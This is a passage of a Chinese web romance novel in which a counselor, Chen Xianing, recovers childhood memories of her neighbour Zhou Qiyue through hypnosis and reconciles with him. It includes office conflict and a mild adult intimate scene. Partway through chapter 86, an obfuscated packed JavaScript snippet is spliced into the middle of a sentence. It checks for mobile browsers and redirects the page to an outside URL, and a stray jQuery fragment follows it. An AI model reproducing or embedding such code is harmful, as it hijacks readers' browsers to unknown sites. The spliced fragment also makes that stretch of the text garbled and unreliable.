在遇见周祈越之前,她觉得自己像深海里的蜉蝣,每天生活平淡重复,没有家人也没有小时候的记忆,只是漫无目的地活着。 只是这世间最不起眼,可有可无的存在。 回到工位,陈夏柠打开电脑,在没写完的新闻稿上面敲字,等再晃过神,发现全是这“周七月”三个字。 她删掉之后,注意力再也无法集中了。于是捞起手机,按照程淑琳发的邮件信息,搜索第五人民医院的公众号,心理科,专家号季复临。 鹿雯和宋月还没有来,林思倏然喊出声:“陈老师,裴班长来找你了。” 陈夏柠闻声抬头,裴青寂神色不自然地来到她办公桌。 她一板一眼地说起期末考完,学生离校的工作,裴青寂全程点头嗯声,许是顾及林思在旁边,整个一副做贼心虚的模样。 其实裴青寂是想跟她来道歉的,因为自己的鲁莽,害得她背负勾引学生的骂名。 “没什么事了,你就回去吧。”陈夏柠没分给他一个眼神。 裴青寂讪讪地转身离开。 两分钟后,陈夏柠的企鹅号跳出弹窗。 【导员对不起,我承认我的确对你有好感,但真没想给你造成困扰。 那天圣诞节,我本来想往你办公桌放一个手链,想谢谢你对我的帮助,结果被林老师撞见。她跟我说,光送手链诚意不够,应该再买束花。 我去花店的时候,店员推荐的玫瑰花很好看,就一股脑热想把它送给你。 可是后来想想,是我不配,我不该对你有那种心思。更没想到我送花的照片被拍到了,真的很抱歉,对不起。】 陈夏柠发了一会儿呆,也不知道该怎么回复他,只觉得办公室闷得慌,滚椅往后一滑,起身往外走。 路过林思的办公桌,她开口嘲笑:“我要是你啊,早就没脸来上班了。” 陈夏柠停下脚步,目光沉沉地看林思,“是你唆使裴青寂送花,那些照片和新闻是陈之夏做的对么?” 陈之夏说过,不会放过她。林思对她的敌意肯定有陈之夏这层原因。 林思耸了耸肩,得意笑笑:“陈老师有证据吗,可不要随便诬陷人哦。” - 早上周祈越去找医生咨询了下自己的伤势,回到病房,沈屿山已经买来福鼎记家的豆浆油条鸡蛋。 沈屿山嘴里叼着半根油条,含混不清道:“快点吃,热乎着呢。” “老沈,谢谢了。” 仔细算来,沈屿山已经帮他买了三周的福鼎记,这是附近口碑最好的老字号,他们家从不用预制菜,食材很新鲜,基地里吃腻了食堂的人都会点这家。 因为非常火爆,外卖都得前一天预定才能抢到名额。 周祈越坐到床上,礼尚往来道:“你花了多少钱,我还你,或者以后由我来定。” 沈屿山啊了声,噗嗤笑出声:“你这是在提醒我还你饭钱吗?正话反说?” 周祈越:??? 沈屿山:“难道不是你每天定了两份嘛,我去门卫那边拿的啊。” 周祈越愣了一下:“我没有啊。” 沈屿山讶然:“我靠,那我们吃了大半月,难不成拿错外卖了?!” “.....” 周祈越呵 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“乔哥的嘴巴肯定开过光,周祈越要完了哈哈哈。” 马森大汗淋漓的模样,拍了下王峥的肩膀,“他那天在食堂说,周祈越被航运业封杀,来我们这破地方当飞行员,以后也会被封杀。” 王峥扔给他一听啤酒,长哦了声,想起什么:“记得记得,他说什么狗改不了吃屎,气得他女朋友猛地摔筷子,敢跟我们乔哥顶嘴。” “对对对,可惜了,陈老师长得那么好看,”马森略有不忿道,“咋就偏偏看上周祈越了呢,小白脸一个。” 话音一落,周祈越轻咳了声,玩味道:“我是小白脸,那你们是什么?” 马森和王峥吓得肩膀一哆嗦,齐刷刷看向窗口的男人。 周祈越环着胳膊在胸前,闲倚在窗前,侧脸冷厉分明,笑容散漫又带着腹黑:“有这时间嚼舌头根子,倒不想想该怎么掩盖你们往7-111的脚蹬上做了什么。” “一群阴沟里爬行的老鼠。”语气平淡,看不出有多大的气。 “......” 白冀言开完会回来,周祈越将事情的来龙去脉说清楚,并将U盘交给他,两人多聊了几句。末了,他前去训练场,沈屿山一看见他,正想质问你来这干嘛。 周祈越朝他勾勾手指,面色像是带着冰度:“手机还我。” 他什么都知道了,方才聊天白冀言以为他知道网上的新闻,好心安慰他来着。 - 这一天实在不安宁,同在一个办公室工作,林思也不掩饰平常的体面,多翻阴阳陈夏柠。 鹿雯这个暴脾气哪能容忍别人欺负朋友,嘴上不饶人,一个劲儿地说她茶。 好好的办公室乌烟瘴气,最后两人快要动手,陈夏柠拦住鹿雯,也明白林思就是想逼她走,反正这一上午她走到哪,那些学生都在用异样的眼光打量她。 “行,我走。”陈夏柠瞧了眼林思,意味深长道,“但愿你以后不会说这句话。” 清者自清,浊者自浊。她实在没必要自乱阵脚。 下午三点的时候,陈夏柠按照预约,来到了第五人民医院,见到了季复临医生。 季医生五十多岁,有非常丰富的临床经验,陈夏柠将自己的情况一一说明。 “你在害怕海洋的同时,也会想起小时候的记忆。”季复临分析说,“或许你真正害怕的并不是海,而是另一种诱因,这个诱因跟海有关,亦或者你曾经受到了某种刺激。” “嗯。”陈夏柠在澳洲治疗时听过这种说法,“那我要继续采用催眠治疗么?” “可以。”季复临瞧着她,“你想什么时候开始?” “现在。”陈夏柠迫不及待地回答。 此时此刻的心境和一年前一模一样,她迫切地想确定那个男孩是谁。 今天这种结果她不是没想过,明知回海云市会有很多麻烦,但还是义无反顾地想找回那段丢失的记忆。 如今,她强烈的直觉告诉自己,他们很早就认识了。 86. 时光胶囊 催眠室。 啪的一声,季复临打了个清脆的响指。 陈夏柠躺在按摩椅上,像是打开了尘封已久的时间胶囊,被拉回某个节点。 “奶奶,我回来了。” 小女孩单手拎着书包带子,身上蓝白校服灰扑扑的,红领巾也歪七扭八,蹦跶着跑进家门。 院子里,围了一桌打牌的大爷大妈,看见小女孩狼狈的模样,朝为首那位体态丰盈穿花衬衫的老婆婆打趣:“夏奶奶,你们家柠柠快被你养成一个混小子了。” 夏奶奶撂下牌,捞起手边的蒲扇走过去,“混小子”当即察觉不妙,抱头投降:“奶奶,今天我生日,你不许打我。” 夏奶奶无奈一笑,把人捞到水井边,接了盆水给她洗脸,“又跟谁打架了?” “没打架啊。”柠柠挠着头,憨笑,“回来的路上踩到香蕉皮,然后掉沟里了。放心,那沟里没水。” 夏奶奶用毛巾胡乱抹着她的脸,“你这丫头天天眼睛长屁股上是吧!下次掉河里,你就再也见不到奶奶,直接见阎王了。” 柠柠嘟着嘴,颇为认真地抓重点:“天天说阎王,真好奇他长什么样。奶奶,你见过他吗?” 夏奶奶脸一黑:“......你爷爷见过。” 柠柠哦了声:“怪不得我没见过爷爷,原来他是见阎王去了,奶奶你怎么没和爷爷一起去啊。” 众人:“哈哈哈哈......” 夏奶奶揪着她耳朵,往屋里推,“你这没心没肺的,枉我买了蛋糕,你自己吃吧!” 柠柠坐在小平房的客厅中央,自顾自地点着蜡烛,双手合十许愿: —他们都不愿意跟我玩,我想有个朋友。 吹灭蜡烛,她笨拙地用塑料刀叉切蛋糕,外面打牌的人散了,夏奶奶走进屋夺过刀叉,切了一大块,“去,送到隔壁的周奶奶家。” 柠柠哼哧一声,提醒隔壁两位老人不能吃甜食:“上次你做的糖葫芦,害得周爷爷的牙都掉了一个。” “今天他城里来了个孙子,跟你差不多大。”奶奶朝她挤眉弄眼,“听说,他那孙子要转学到你们班了,新同学,你不得先下手为强?” “......” 柠柠亮晶晶的眼睛瞪大,快要跳起来,“好耶,我要有朋友了!” 说着乐呵呵地捧着蛋糕,跑出家门,去敲隔壁周家的大门。 果然,生日愿望真灵验,从天而降一个新同学,她得说服他跟自己当同桌。 彼时,她刚满七岁,正在上二年级。 出生在一座沿海小镇,爸妈常年在外做生意,从小和奶奶相依为命,邻居住着本镇最有学识的两位老人,周爷爷和周奶奶。 要是和周奶奶的孙子当朋友,那每天就有小伙伴一起上下学,还可以一起写作业了。 然而幻想很美好,现实往往.....有出入。 周奶奶对着孙子的房门喊了好几次:“你这个臭小子整天闷房间里干什么,快来看看小妹妹给你送生日蛋糕了。” 许是无法忍受奶奶继续念经,那扇门总算舍得挪开,柠柠捧着蛋糕极为殷勤地凑上去:“我叫夏柠,今天我生日。呐,给你。” 柠柠说这话的时候,莫名有点紧张。 因为面前这个男孩子,皮肤白白的,眼睛特别漂亮,真的,太好看了!!! 男孩绷着一张脸,没有任何情绪变化,接过她手中的蛋糕,“谢了。” 柠柠弯了弯唇角,口中的“不客气”还没蹦出来,就听见“砰”的一声,房门关上了。 柠柠:“......” 周奶奶见状又恼了,对着房门训斥了几句,摸着柠柠的头安抚:“七月就这样,话比较少。” 柠柠咦了声:“奶奶,他叫七月?” 周奶奶:“周祈越。” 柠柠:“哦,周七月。” 话音落,房门又开了。 男孩那张冰山脸,真坐实他这位城里来的小少爷形象,虎视眈眈地俯视她,义正言辞道:“是周!祈!越!祈愿的祈,超越的越。” 柠柠秒变点头娃娃,重申:“周七月。” 周祈越:“......” 下一秒他那高傲的眼神,快要飞到房顶了,“拼音堪忧。” 说完,又砰地一声,关门。 “......” 柠柠眨了眨眼,新朋友还挺特殊,喜欢给人闭门羹。 第二天柠柠坐在院子里吃早饭,听到隔壁的动静,粥都没喝完,拖着书包一溜烟跑走。 夏奶奶挠着头,不禁纳闷,这孩子上学总算积极了。平日送柠柠上学,就是两步一哄三步一劝的场景。 周祈越打开门的时候,她探头猫着腰往门缝里看,霍然被吓得一抖擞。 “我...我来找周奶奶。”她招招手,看他双手仍放在门框上,生怕他又突然关门,趁机闯进去。 周祈越不发一言地看着这个长得乖巧可爱,实则肆意张狂的小女孩。 周奶奶刚好从厨房出来:“柠柠吃饭了没?” “吃过了。”柠柠微微一笑,露出两只小虎牙,“奶奶,我来找七月上学。” “好啊。”周奶奶乐此不彼,瞧着两人,“刚好我今天忙,七月今天第一天报道,七月,让妹妹带你认认路。” 周祈越总算有了反应:“奶奶,你怎么也乱叫我名字?” “你还别说,七月还真好听呢。”周奶奶摸着柠柠的头,夸赞,“你妹妹多会起名字啊。” 周祈越扫她一眼,“她才不是我妹。” 柠柠心想,哼,我也没认你当哥。 “哎呀,快去上学。”周奶奶看了眼时间,硬生生把两小孩轰出门。 周祈越腿长走路也快,柠柠必须得小跑着才能跟上,他单手拎着书包,柠柠一把拽过自己手里,眼巴巴地讨好他,“大哥哥,我帮你拿书包呀。” 周祈越火眼金睛似的看出她的意有所图,“我跟你很熟么?” 柠柠:“你吃了我生日蛋糕!” 周祈越瞥向她:“所以呢?” 柠柠:“吃了我的生日蛋糕就是朋友了。” 周祈越收回目光,闲散地走着:“我还没吃,放学还你。” 柠柠:“......” 她也急了,蛮横无理道:“我不管!我送你蛋糕,还给你提书包,你得听我的。” 乡间小路种满着花花草草,周祈越摘了个蒲公英在手里,轻轻一吹,冠毛全飞她脸上了,“你想让我怎么听你?” “跟我当同桌,然后一起参加趣味运动会。” 班里只剩她一个女生没有同桌了,那些男生不愿意跟她坐在一起,平日她没觉得有什么,可最近班集体要参加两人三足比赛,她还没有同伴。 “行啊,你追上我再说。” 说完,周祈越加快步伐往前走。 柠柠一边背着自己的书包,一边抱着他的书包,像个书包架子,笨重地追他一路到学校。 周祈越扫了眼教学楼,走到自己班门口,回头把书包拿回来,“谢了,同桌。” 柠柠抬头望着班牌,三年级?! 什么啊! 柠柠气都没喘上来,拦住他进门的脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15036290|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你怎么没告诉我你是三年级的?!” 周祈越愣了三秒,这才瞥见她穿戴不正齐的校服外套,噗嗤笑了:“你也没说你二年级的啊,小妹妹。” “......谁是你妹!”柠柠憋红着脸,攥着拳头,恶狠狠地瞪他,“周七月,讨厌鬼,你耍我。” “诶,你讲不讲道理——”周祈越愈发觉得她表里不一,一会儿像只小白兔,现在又秒变一只发威的老虎。 还别说,女孩子生气是挺可怕的,他顿时消了气焰,“那我留级也行。” “......” 闻言,柠柠二话不说拉着他手臂进隔壁教室,“行!这个办法好!” “......” 被拉回去重读二年级,跟她坐同一张桌子。众目睽睽之下,那场面堪称土匪抢亲了。 班里武侠片看多了的男生给这场面取名为——女土匪抢娶良家妇男。 ...... 耳边又想起一道响指,陈夏柠猛然被拉回现实,意犹未尽地看着季复临。 “别着急。”季复临说,“为了保证疗效,每次的催眠时间不能太长,否则患者会承受不住。” 陈夏柠闭了下眼,还沉浸在刚刚所看到的画面。 时间真的太久远了,感觉那个小女孩像自己,又不像自己。 从医院里出来时,天色灰蒙蒙,下着淅淅沥沥的小雨。 屋檐下,陈夏柠将包举在头顶,正准备跑到地铁站,一抬眼,在人来人往的门口看见一道身影。 男人高大挺阔的身形无论站在哪都足够显眼,举着黑伞,挡住大半张脸,缓缓走过来。 陈夏柠动作一顿,隐隐约约想起,某个下雨天,她匆匆跑到教学楼,书本掉落一地,有人在雨中为她撑伞。 那是什么时候来着? 随着他越走越近,男人伞面下露出真容。 陈夏柠心尖一颤,举起的手臂放下来,将手提包紧紧抱在怀中。 此时此刻,不知该如何面对周祈越。 他已经站在她跟前,也没说话,平平静静地望着她,他现在的表情像小时候初次见面一样,冰山脸。 陈夏柠好像从他的眼神中,读懂了什么,识趣地钻进他的雨伞下。 周祈越揽着她的肩膀,带她往停车的地方走。 “你怎么知道我在这?”陈夏柠被他拥着,先开口找话题。 “鹿老师跟我说的。”周祈越省略了找她的步骤,说,“打你电话打不通。” 陈夏柠后知后觉从包里掏出手机,“没电了。” “嗯。”周祈越意有所指地,“昨晚我手机也没电了,在忙。” 陈夏柠点点头,走到车前,坐上副驾。 周祈越绕过车头,坐上主驾驶,收伞,关门。 周祈越从纸巾擦了擦肩膀的雨水,倏然转身看她。 随后,整个人靠过来,帮她系安全带。 陈夏柠心跳再次往上提,紧张地靠着椅背。 明明就几秒的事,周祈越的动作极其慢,车内暖风轻轻柔柔地吹在脸上,渐渐地,彼此的呼吸也缠绕交融。 “咔哒”一声,安全带系好。 周祈越身体未收,就着如此逼近的距离,抬眼看她。 陈夏柠屏住呼吸,对上他的视线。 真正喜欢的人,每一个对视,都是沦陷。 在你眼中看见我的样子,反反复复确认我喜欢你。 雨滴哗啦啦地拍打在车身,整座城市被大雨冲刷,路边来往的车辆川流不息,行人神色匆匆。 而他们正在含情接吻。 87. 乌龟柠 周祈越一手捏着她下巴,一手垫在她后脑勺,男人极具压迫的阴影将她压在副驾。 像是梦幻的感觉,也不知是谁先吻的谁,陈夏柠睫毛颤个不停,意识放空着,直到周祈越亲完后又咬了下她唇角。 陈夏柠晃过神,意识到这个吻不似从前那般温柔,应该带着怨气和发泄。 雨水带着冲击力砸向挡风,雨刷左右摇摆起来,一双骨节分明的手指闲散地搭在方向盘,车子开始往前行驶。 陈夏柠摸了摸下唇,余光瞥向男人,一张面无表情的冰山脸。 好吧,还在闹脾气呢。 陈夏柠确认完后,快速收回视线,安安分分地坐着,一路上也不敢主动往枪口撞。 还好医院到海天宜城并不远,半小时后两人一同从电梯出来。 陈夏柠见他脚尖往1301,急忙跟上,揪住他的衣袖。 “七月。” 周祈越面色一怔,身体僵硬地回头看她,小姑娘晃动着他的袖子,连带着眼神都像是在撒娇,“我们,好好聊一聊行么?” “嗯。”周祈越垂眼,顺势回握她的手,十指交叉,把人牵回家。 明明也就几步的距离,陈夏柠一直在端详自己掌心的那双手,零散散的记忆碎片快速闪过。 柠柠喜欢在春天爬树摘果子,踩着梯子上去,又不敢下来,七月在树底下嘲笑她一番,也不忘上前拉她的手。 柠柠早上上学总是睡过头,等她出家门,七月看快要迟到了,就拉住她的手飞速往前跑。见她累得气喘吁吁,他嘲笑:“不都说兔子腿短跑的快嘛,你怎么比乌龟还慢?” 乌龟柠:“......” 镜头一转,周祈越松开了她的手,从鞋架掏出一双兔子棉拖,单膝蹲在她面前,给她解鞋带,动作娴熟得在做一件很平常的事。 其实她现在还没开口解释那些,周祈越似乎也不在意了,理所当然地选择了相信。 他都能这么毫无保留地,相信她。 反观自己,之前对他有所保留的样子,是不是就带着不信任呢。 带入周祈越,他一定很难过很伤心吧。 男人给她穿上棉拖,起身往里面走。 一步没踏出去,身后环过来一双手臂,陈夏柠从后面紧紧地抱住他,脸贴在他后背。 在开口的那一刻,她眼眶不自觉热了起来:“我怕海这事从小就有,陈家和江家都知道。小时候也接受过心理治疗,本来以为好了,但到大三时我又发作了,在国外也频频出现见到海就发烧心悸。” “第一次去星月湾找学生,我当场昏厥发烧,就是恐惧症的症状。” 周祈越背对着她,眉心紧蹙,握住腹前女生纤白的双手。 “没有告诉你我发烧的真正原因,是因为.....”陈夏柠顿了一下,说着说着眼角酸涩得不行,“你是上远集团的继承人,而我不仅普通,还...心理不健全,我觉得我配不上——” 周祈越胸口好像塞了一团棉花,实在听不下去了,转身将人拥在怀里,“好了,不说了,我没生你的气。” 陈夏柠埋在他胸膛,眼泪哗哗地掉,坚持要说:“我想等我找对心理医生,痊愈后再告诉你,这样我就不是.....心理不健全的人了。” 即使表面不在乎,实则很早就因为要看心理医生而自卑。 中考那年,在考英语的时候,陈夏柠额头一阵一阵地疼,发挥失常,没考上一中,只能上二中。 后来萧婷和陈京辉引起重视,每周都带她去找徐亮做心理治疗。 长期坚持疗程和吃药,陈夏柠的状况大有好转,但也不知什么时候开始,班里的同学都知道了她在看心理医生的事。 十五六岁的年纪,大家都喜欢课间八卦,想当然,陈夏柠看心理医生成为了大家的谈资。 刻板印象中,去看心理医生的人就是心理不健全,有精神病,于是同学的谣传就变成了,陈夏柠有精神病。 没有人愿意跟精神病做朋友。以至于在二中的生活并不好过,同班同学用异样的眼神看她,躲她跟躲瘟疫一样。 整个高一,陈夏柠虽然摆脱了恐惧症的困扰,却也因为大家的谣言和行为,备受心理折磨。 即使过了这么多年,她还是很害怕让别人知道自己看心理医生的事,害怕那种异样的眼光。 心理不健全,精神病。 她没办法做到不在意,又没办法理直气壮地否定那些人的说法。 跟周祈越在一起后,陈夏柠尽量说服自己,用积极地心态面对这些。 明明早就知道周祈越身份不菲,但鹿雯说出他是上远集团的公子哥的时候,陈夏柠还是忍不住自卑,那些门当户对的世俗标准,像幽灵一样反复绕不开。 她在努力变好。 按时吃饭睡觉,努力工作,积极接受治疗,这样才能配得上他。 爱让她胆小也让她勇敢。 周祈越将她打横抱起,往客厅进,放到沙发上。 两人面对面坐着,他拿着纸巾给她擦眼泪,双手捧着她的脸,郑重其事地说:“柠柠,你很好,没有配不上我,每个人都不是完美的,我也是。” “我既然喜欢你,就愿意接受你的所有,喜欢你所有的样子。”周祈越瞧着她,拖腔带调地反问,“你会因为我自恋,大少爷脾气就不喜欢我么?” 陈夏柠吸了吸鼻涕,嘟囔着:“算你有自知之明。” 周祈越:“......” 他啧了声,捏了下她的脸,“回答我的问题,鼻涕精。” 陈夏柠:“......” 她莫名被安抚,彻底止住眼泪,想了一下,“你长得这么帅,我的三观可以跟着五官走。” “......”周祈越好笑地看她:“你这意思是,等我老了,满脸皱纹,你就去找那些长得帅的小年轻?” “那我也会老啊,”陈夏柠有条有理地分析,“小年轻肯定看不上我这个老婆婆,所以咱俩还是要作伴。” 周祈越细品她的语气:“怎么,跟我作伴这么勉为其难?” “也没有啦。”陈夏柠不再逗他,往他怀里扑。 第一次觉得跟一个人白头到老,是一场遥不可及而又美妙的幻想。 周祈越下巴抵在她发顶,双手轻抚她后脑勺和脖颈,爱不释手地搂着她。 “周祈越,那些新闻我不知道怎么回事,”陈夏柠说,“并不是那样的——” “我知道。”周祈越低头亲了下她前额,柔声道:“这件事你不用管,交给我处理。” “嗯嗯。”陈夏柠仰起头,亲他唇角做回礼。 周祈越看她的眼神发生变化,翻滚喉结,命令道:“张嘴。” “......” 陈夏柠摸了下被他咬红的唇角,“你在车上不是亲过了嘛。” 周祈越嗯了声,想起那个吻,秋后算账:“教你多少次了,还没学会伸舌头。” 陈夏柠:“......” 这是 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周末待在基地,两人一起吃饭,周祈越起初也不知道哪家外卖好吃,是沈屿山推荐了福鼎记那家,他点了一次,赞不绝口地说:“不错,挺好吃的。” 随口的一句话,陈夏柠记住了,当晚就联系了那家店。 想着她不在的时候,沈屿山可以陪他吃饭,就连续订了两人份。 沈屿山和周祈越平日就是互相帮对方买饭的饭搭子,结果两人都误以为是对方在买饭。 也是周祈越打电话给店家咨询,才得知有位陈女士给他预定了一个月的早中午饭,特意嘱咐饭菜要多样,否则会吃腻。 其实她也一直在用自己的方式回应他的爱意,有把他的话放在心上。 周祈越又问:“你跟乔书杰他们在食堂起冲突,怎么一直没跟我说?” 陈夏柠讷讷道:“当时你训练已经很累了,我不想让这些事干扰你,而且我也没吃亏,是我让他们吃瘪了。” 周祈越凶巴巴地看她:“你还引以为傲了,需不需要我跟你颁个锦旗?” “......给个奖励就行。”陈夏柠抿了下唇,抬起眼睫。 两人对视着,为了更明显点,小姑娘伸出双臂,求抱的姿势。 周祈越弯唇笑了,陈夏柠像突然打通任通二脉,开窍了。 男人单手环住她的腰,将她举过头顶,抽出一只大掌蹂躏着她两颊,呵笑:“该听的没听进去,不该听的你听进去了。” “......” 陈夏柠低头盯着他的唇,早已心不在焉,当即吻下去,将舌头探进去。 周祈越一边跟她接吻,一边抱着她回房间。 两人唇齿未离,一路亲到卧室床上,周祈越按住她的双手,压在她身上,继续动情地跟她吮吸,房间里只剩下彼此的亲吻声。 陈夏柠跟他身体紧紧贴着,再一次直观地感受到周祈越的生理变化。 其实她的中药也快喝完了。 唇齿分离时,男人眼底发红,嗓音哑得不行,扒拉着她领口,“上次你说让我咬回来的。” “......” 陈夏柠的手顺着他腹部往下探,落到某处。在这样干柴烈火的时刻,周祈越还在克制着。 “周祈越。”她的呼吸也喘重,红着脸说,“你要是难受的话,我可以...帮你弄一下。” “......” 88. 无业游民 周祈越先是动作顿住,反复确认自己没有听错,又注意到她手放的位置,不禁低头笑了下,吐出的呼吸好似火焰,晕染了小姑娘的耳廓。 “我还以为,你什么都不懂呢。” 在他眼里,这姑娘单纯得很。 陈夏柠心说我又不是三岁小孩了,但此刻周祈越似笑非笑地打量着她,像一只即将散发野性的饿狼。 她立马怂了,正准备抽回手,不料,半路被拦截,男人单臂撑在她颈侧,一手按住她的手放回原处。 陈夏柠屏住呼吸,仿若置身一处火山旁边,一股热波及全身,快要失去思考的能力。 周祈越凝视她的双眸,给她选择的机会:“你要是不敢,就推开我。” 陈夏柠只觉得这话在挑衅她是胆小鬼,一咬牙来了气势:“谁怂了!有什么不敢的。” 话音一落,静谧的空气流中响起“咔哒”的清脆声,陈夏柠顺着声源往下一看,他皮带的卡扣开了。 “......” 紧接着,周祈越揽着她的腰一个翻滚,两人的位置调换,变成陈夏柠压在他身上。 陈夏柠侧脸趴在男人宽阔的胸膛,左手往上插进他的发缝,右手被他带着在某处。 ....... 大概过了二十分钟,陈夏柠左手撑着床铺,缓缓从他身上起开,一抹青丝扫过他的鼻尖,沁入淡淡的馨香。 周祈越拉上裤子,边勾魂似的看她。 小姑娘羞赧地侧过脸,伸手够到床头的纸巾,擦着右手。 完全不敢跟他对视,内心狂叫。 回想自己的行为,她真就像一个侵占良家妇男的女土匪,占尽了便宜。 还没回过神,脚下已然腾空,被周祈越抱到洗漱间。 脚尖落地,陈夏柠站在洗漱台,男人将她包裹在怀中,打开水龙头,挤洗手液给她洗手。 陈夏柠望着镜面瞄了眼他,周祈越也在看她,勾出一抹坏笑,嗓音打着转:“我们家柠柠的手法真不错。” “......” 说着他给她擦着手,凑到她耳边吐气:“等你中药喝完了,我也这么好好——伺候你。” “......”陈夏柠脸热得不行,实在受不了他这么没皮没脸,当即踩他一脚,从他怀中溜走。 回到卧室,她把周祈越拒之门外。 周祈越洗澡回来,门还反锁着,不禁笑了。 这姑娘挺有脾气,霸占他的房间,不让他进了。 “柠柠开门。”周祈越敲着门,好声好气地打感情牌,“我刚洗完澡,站外面会感冒的。” 须臾,门里面传出声音:“听不见听不见,我睡着了。” 周祈越:“......” 最后他靠着门连续打喷嚏,一个比一个严重,陈夏柠越听越信以为真,毕竟还是冬天,只有卧室才有空调。 等门把手一拧动,门缝刚露出一点,周祈越就急忙冲进来,陈夏柠意识到自己被骗了也为时过晚。 为了防止她跑,男人把门反锁,又给她一个公主抱,将人锢在自己的领土。 陈夏柠跟他面对面坐在床上,气鼓鼓地看着这个男人,跟记忆中小男孩重叠起来。他还跟小时候一样,喜欢耍诈骗她。 “戏精,奥斯卡影帝非你莫属。”说着往他胸膛锤了一下,没轻没重的。 “......” 周祈越握住她的手,咳嗽了下:“这回是真的。” 陈夏柠噙着笑,怔怔地望着他,心里突然涌现奇怪的情绪,眼眶一热。 “七月,我们小时候就认识对不对?” 周祈越心跳停了半拍,匪夷所思地对上她的眼。 “我的恐惧症其实带着失忆,十三岁以前的事我记得模模糊糊,很长一段时间也没刻意回忆。” 陈夏柠觉得那段记忆变得清晰时,带入梦中的小女孩,有开心也有一种无法言说的情绪,暂时也说不出来是什么,“我现在找到了可靠的心理医生,在接受催眠治疗中,已经能慢慢想起小时候的记忆了。想起我们在青源镇的生活。” 周祈越拧着眉,悬着一颗心问:“你想起了什么?” “想起我们第一次见面,我请你吃生日蛋糕,喊错你的名字,跟你一起上学,邀请你成为同桌。” “不,你那不是邀请。”周祈越凑过去跟她鼻尖碰鼻尖,“你那叫抢,你小时候可凶了,就知道欺负我。” “......”陈夏柠强词夺理道:“肯定是你欠揍,我才欺负你。” 看她不生气了,周祈越拉好被子,跟她一起躺进被窝,专心听着她说自己看心理医生的历程。 屋内的空调温度极为舒适,又躺在他臂弯里,陈夏柠难得身心放松,眼皮子打着架,迷迷糊糊想起还有自己的家庭没交代,“还有我养父母——” 见状,周祈越掌心蒙上她的眼,“先睡觉,以后再跟我说。” 陈夏柠当即消停,睡了过去。 床头亮着微弱的暖色灯光,周祈越低头亲了下她额头。 他从来没想过还能有这么一天,那些淹没在时间长河里的回忆还能重见天日。 周祈越不确定,这是好事还是坏事。 - 深冬已至,学生们纷纷离校那天,海云市罕见地下了一场雪,来势汹汹,走得也快。 陈夏柠中午做菜发觉家里的酱油和醋都用完了,出小区去附近的超市买,回来的路上很享受脚踩在积雪上的感觉,走的很慢。 浑然没有注意到有人拎着摄像机跟在身后。 直到听见后面争执的动静声,回头看见周祈越夺过狗仔的相机,另只手揪着他衣领逼问:“谁指使你的?” 不曾想她都丢掉工作了,还有人在跟踪她。 陈夏柠正要走过去问那个狗仔,那人猛地挣脱周祈越,相机也不要了,拔腿就跑。 周祈越想去追,陈夏柠拦住他,“算了,我知道是谁。” “陈家的真千金?!” 周祈越在她家厨房切着菜,听她说起陈之夏这个人,思索了下:“她为什么要这么针对你?” “她觉得是我 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周祈越了然于心地点了下头,意味深长地问:“你确定要找回小时候的记忆?你有没有想过你选择忘记了,就代表曾经那些并不美好,是你想要忘记的。” 他查过陈夏柠这种临床症状,恐惧症并不会直接引起失忆,她只是因为受到某种刺激,选择了忘记。 “已经过去那么久了,无论那段记忆好还是不好,我都会坦然接受。”陈夏柠眸色坚定,“我再也不想这么浑浑噩噩地活着了。” 另一边,陈氏集团大厦一楼。 偷拍的狗仔找到陈之夏,说明自己偷拍暴露的情况,眼瞧着大小姐要发火说他没用,高叙果断掏出手机,谄笑:“陈小姐,我手机上留存了。我盯着她好几天了,这个男人整天跟她出双入对,绝对是她男朋友。” 陈之夏夺过手机看清楚照片上的男人,神色一惊:“周、船、长。” ...... 陈夏柠的催眠治疗是每周一次,周祈越坚持要陪她一起去,她当然乐意,但也纳闷他怎么连续一周没去上班了。 周祈越勾唇笑笑:“我放寒假了。” “你这工作还有寒假?”陈夏柠随口问,“你不会失业了吧?” “整天忙到没休息日,不分白天黑夜,再没有寒暑假,神仙也干不了这工作。”周祈越有条有理地说,逮住她后半句细品,“再说,我要是失业了你会嫌弃我么?” “不敢。”陈夏柠摇摇头,“毕竟我现在也是无业游民了,这年头这没工作的人家庭地位堪忧,我哪有资格嫌弃你啊。” 周祈越揽着她肩膀往医院里进,看见从门诊部出来两个手牵手爷爷奶奶,跟她笑了笑:“要不我辞职,咱俩都变成无业游民,地位就平等了。” 陈夏柠掐了下他腰部,“不行,你要没工作咱俩怎么活啊,身为男人,你得有担当。” 周祈越揉着她发顶,拖腔带调道:“行,我以后多赚钱,娶我们家柠柠,养的白胖胖的,不让她吃一点苦。” 陈夏柠:“你别诅咒我,我才不要变胖。” “……” 89. 讨厌鬼 柠柠把周祈越拉到二年级,跟自己当同桌,上课时老师往他们桌瞟一眼,留意到人,也没说什么,自顾自地讲课了。 那个年代正值城市化兴头,很多人外出谋生,去城市安家立业,农村的生源流失特别严重。 一时间乡镇公办学校没落,老师们隔三差五都会收到学生转校的消息,渐渐地,以前一个班四五十人,到最后只剩下二十多人。 那会儿跳级留级也常见,对于班里多一个少一个学生,老师和同学着实司空见惯了。 所以大家对于周祈越的到来不足为奇。 相反大家稀奇的是,竟然有人愿意跟那个没爸妈的假小子当同桌,还一起上下学。 周祈越一向不是爱八卦的人,起初对这些传闻也不知晓,他只觉得自己偷偷摸摸地瞒着爷爷奶奶,留级去了。 每次他试探性地问:“我可以回自己班了吗?” 原本乖顺趴在桌上的柠柠当即瞪他,像一只张牙舞爪的老虎,露出凶狠的目光,带着恐吓和不好惹。 “不行!你说要留级跟我当同桌的!”老虎柠盛气凌人道:“男子汉大丈夫说话不算数,我鄙视你。” 周祈越:“......” 他就开个玩笑,这小妹妹咋就认真起来了。 刚开始还好,他能被她的架势唬住。后来想起自己那个徒有虚表的妹妹,只有自己表现更厉害一点,硬碰硬才管用。 小男孩满脸不在乎地收拾书包,瞥她一眼,“那你鄙视我吧。” “......” 